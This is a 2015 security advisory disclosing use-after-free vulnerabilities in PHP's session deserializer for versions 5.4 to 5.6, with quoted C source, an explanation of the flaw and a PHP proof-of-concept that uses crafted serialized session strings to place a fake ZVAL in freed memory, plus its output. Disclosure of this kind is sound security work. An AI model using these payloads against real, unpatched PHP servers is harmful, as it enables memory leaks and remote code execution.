Use After Free Vulnerabilities in Session Deserializer

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#Use After Free Vulnerabilities in Session Deserializer

Taoguang Chen <@chtg> - Write Date: 2015.8.9 - Release Date: 2015.9.4

Multiple use-after-free vulnerabilities were discovered in session deserializer (php/php_binary/php_serialize) that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions

Affected is PHP 5.6 < 5.6.13
Affected is PHP 5.5 < 5.5.29
Affected is PHP 5.4 < 5.4.45

Credits

This vulnerability was disclosed by Taoguang Chen.

Description

PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */
{

	...	

	PHP_VAR_UNSERIALIZE_INIT(var_hash);

	p = val;

	while (p < endptr) {
		
		...

		if (has_value) {
			ALLOC_INIT_ZVAL(current);
			if (php_var_unserialize(&current, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
				php_set_session_var(name, namelen, current, &var_hash  TSRMLS_CC);
			}
			zval_ptr_dtor(&current);
		}
		PS_ADD_VARL(name, namelen);
skip:
		efree(name);

		p = q;
	}
break_outer_loop:

	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);

	return SUCCESS;
}

When session deserializer (php/php_binary) deserializing multiple data it will call to php_var_unserialize() multiple times. So we can create ZVAL and free it via the php_var_unserialize() with a crafted serialized string, and also free the memory (reduce the reference count of the ZVAL to zero) via zval_ptr_dtor() with deserialize two identical session data, then the next call to php_var_unserialize() will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.

In some other cases, session deserializer (php/php_binary/php_serialize) may also lead to use-after-free vulnerabilities: i) via crafted Serializable::unserialize() ii) via unserialize()'s callback function and zend_lookup_class() call a crafted __autoload().

Proof of Concept Exploit

The PoC works on standard MacOSX 10.11 installation of PHP 5.4.44.

<?php

session_start();

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$exploit = 'ryat|a:2:{i:0;i:1;i:1;a:1:{i:1;chtg|a:1:{i:0;R:4;}';
// $exploit = 'ryat|a:1:{i:0;i:1;}ryat|i:1;chtg|R:1;';
session_decode($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($_SESSION);

function ptr2str($ptr)
{
	$out = "";
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

?>

Test the PoC on the command line:

$ php uafpoc.php
array(2) {
  ["ryat"]=>
  NULL
  ["chtg"]=>
  array(1) {
    [0]=>
    int(1122334455)  <===  so we can control the memory and create fake ZVAL :)
  }
}